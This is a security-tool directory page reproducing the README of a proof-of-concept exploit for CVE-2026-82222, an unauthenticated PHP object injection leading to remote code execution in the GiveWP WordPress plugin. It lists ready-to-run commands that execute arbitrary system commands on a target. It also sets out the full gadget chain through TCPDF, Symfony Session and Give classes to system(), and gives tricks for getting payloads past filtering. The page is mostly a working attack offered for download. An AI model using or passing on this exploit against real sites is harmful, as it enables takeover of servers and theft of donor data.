Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-82222-poc — Proof-of-concept exploit for CVE-2026-82222, an unauthenticated PHP object injection leading to remote code execution in GiveWP WordPress plugin versions up to 4.16.7.1. | Kitploit
Tools/GitHubGitHub/udinchan/cve-2026-82222-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubudinchan/cve-2026-82222-poc

cve-2026-82222-poc

Proof-of-concept exploit for CVE-2026-82222, an unauthenticated PHP object injection leading to remote code execution in GiveWP WordPress plugin versions up to 4.16.7.1.

View Repository
112h 21m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-82222

Unauthenticated PHP object injection to RCE in GiveWP <= 4.16.7.1.

Patched in 4.16.7.2.

RangeReachable?
<= 4.16.5.1Default install. One published form, one active gateway.
4.16.6 to 4.16.7.1Yes, if a legacy (non-V3) form exists. Fresh V3-only install is not.

Advisory: https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/

Usage

Python 3.8+ and requests.

root@kitploit:~
pip install requests
python cve-2026-82222.py http://127.0.0.1:8080
python cve-2026-82222.py http://127.0.0.1:8080 --check
python cve-2026-82222.py http://127.0.0.1:8080 42 -c id
python cve-2026-82222.py http://127.0.0.1:8080 -g offline

-c defaults to id. No < > & % in the command; spaces become ${IFS}.

Pass a form id if discovery misses. Pass -g if the script cannot find an enabled gateway.

The donation request often returns HTTP 500 or times out. That is expected. The session write happens first. system() output is in the next request (/?give_action=view_receipt and similar), not in a file on disk.

python cve-2026-82222.py -h for the rest.

Chain

  1. POST give_action=user_register. GiveWP creates the account and sets an auth cookie. It does not consult users_can_register.
  2. Serialized gadget is stored in last_name through /wp-admin/profile.php.
  3. Donation POST omits give_last. process-donation.php reads the name from usermeta, runs maybeSafeUnserialize (allowed_classes => false), and writes __PHP_Incomplete_Class into wp_give_sessions. PHP re-emits the original object bytes on the way in.
  4. A request with the same cookie unserializes the session without that guard. TCPDF::__destruct() reaches call_user_func_array('system', [cmd]). Stdout is in that response.
root@kitploit:~
TCPDF.__destruct()
  -> Symfony Session.getIterator()
    -> Give\TestData ProviderForwarder.__call()
      -> call_user_func_array('system', [cmd])

pre_user_last_name strips NUL, so gadget properties are unmangled. Backslashes are quadrupled to survive stripslashes_deep then removeBackslashes.

License

MIT. See LICENSE.

Authorized testing only. Do not run this against hosts you do not own or have permission to test.

Download Tool